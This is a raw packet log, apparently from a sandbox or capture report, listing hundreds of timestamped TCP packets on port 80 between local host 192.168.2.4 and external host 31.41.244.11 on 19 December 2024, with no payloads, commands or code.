Dec 19, 2024 20:11:14.202092886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.202100039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.202157021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.202244997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.203130007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.203213930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.203397036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.204138994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.204190969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.204560041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.204658985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.205213070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.205360889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.205405951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.206245899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.206392050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.206458092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.207302094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.207549095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.207667112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.208350897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.208476067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.208539009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.208539009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.209403992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.212922096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.387761116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.387804985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.387934923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.388088942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.388262987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.388475895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.389154911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.389296055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.389365911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.390158892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.390258074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.390317917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.390522957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.391213894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.391335011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.391952038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.392039061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.392425060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.392518044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.392827988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.392891884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.393328905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.393414974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.393438101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.393511057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.394368887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.394947052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.395024061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.395461082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.395649910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.395709991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.396477938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.396653891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.396749020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.397538900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.397618055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.397857904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.398502111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.398662090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.398740053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.398827076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.399693012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.399741888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.399797916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.399797916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.400938988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.401036978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.401141882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.402039051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.402139902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.402276993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.403011084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.403311014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.403395891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.403970957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.404136896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.404201984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.404947042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.404956102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.405106068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.405973911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.406083107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.406120062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.406512022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.407030106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.407128096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.407133102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.408066988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.408144951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.408221006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.409131050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.409202099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.409467936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.410247087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.410366058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.410435915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.411197901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.411293983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.412067890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.412314892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.412322998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.412393093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.413320065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.413429022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.413507938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.414562941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.415098906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.415214062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.415530920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.415611982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.415695906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.416541100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.416604996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.417243004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.417603970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.417681932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.417985916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.418668032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.418757915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.418874025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.419647932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.419714928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.419766903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.420732021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.420840979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.421267986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.421333075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.421761036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.421869993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.421952009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.422820091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.423053980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.423116922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.423851013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.423911095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.424093008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.424921036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.425019979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.425415993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.426139116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.426225901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.426460028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.427022934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.427138090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.427139997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.428061962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.428139925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.428555965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.428621054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.429172993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.429181099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.429240942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.430238962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.430479050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.430726051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.431227922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.431423903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.431710005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.432301044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.432373047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.432487965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.433320045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.433415890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.433579922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.433623075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.434989929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.434998035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.435081005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.435416937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.435883045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.435935020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.436465979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.436578035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.436680079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.437612057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.437724113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.437736988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.438524008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.438621998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.438725948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.439063072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.439121962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.439701080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.439764023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.440004110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.440936089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.440949917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.441009998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.441821098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.442122936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.442205906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.442817926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.446474075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.580122948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.580723047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.580735922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.580816031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.580918074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.581259012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.581736088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.581809998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.581897020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.582549095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.582803965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.582957983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.583022118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.583812952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.584347010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.584400892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.585148096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.585305929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.585321903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.585416079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.585983992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.586330891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.586730957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.586850882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.587006092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.587166071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.587177038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.587326050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.588056087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.588160038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.588231087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.588283062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.589073896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.589216948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.589622974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.589955091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.590115070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.590184927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.590459108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.590594053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.591237068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.591439962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.591501951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.592243910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.592246056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.592354059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.592398882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.592458010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.593292952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.593388081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.593472958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.594343901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.594465971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.594909906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.594958067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.595407963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.595515013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.595568895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.596446991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.596662045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.596714973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.597492933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.597666979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.597714901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.597925901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.598623037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.598676920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.598802090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.599059105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.599817991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.599900961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.599953890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.600724936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.600863934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.600915909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.601756096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.601808071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.601982117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.602082968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.602792978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.603005886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.603017092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.603097916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.603842974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.603930950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.604162931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.604279995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.604918003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.604964972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.605086088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.605168104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.605973959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.606183052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.606332064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.606395006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.606973886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.607031107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.607183933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.607443094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.608017921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.608201981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.608258009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.609107971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.609175920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.609359980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.609611034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.610119104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.610198021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.610353947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.610471010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.611232042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.611495018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.611500025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.611627102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.612462997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.612548113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.612626076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.612759113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.613317966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.613368034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.613431931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.613507986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.614379883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.614536047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.615009069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.615415096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.615464926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.615936041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.615991116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.616549969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.616560936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.616597891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.617496014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.617563009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.617719889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.617842913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.618556976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.618630886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.618653059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.618958950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.619745970 CET	80	49768	31.41.244.11	192.168.2.4
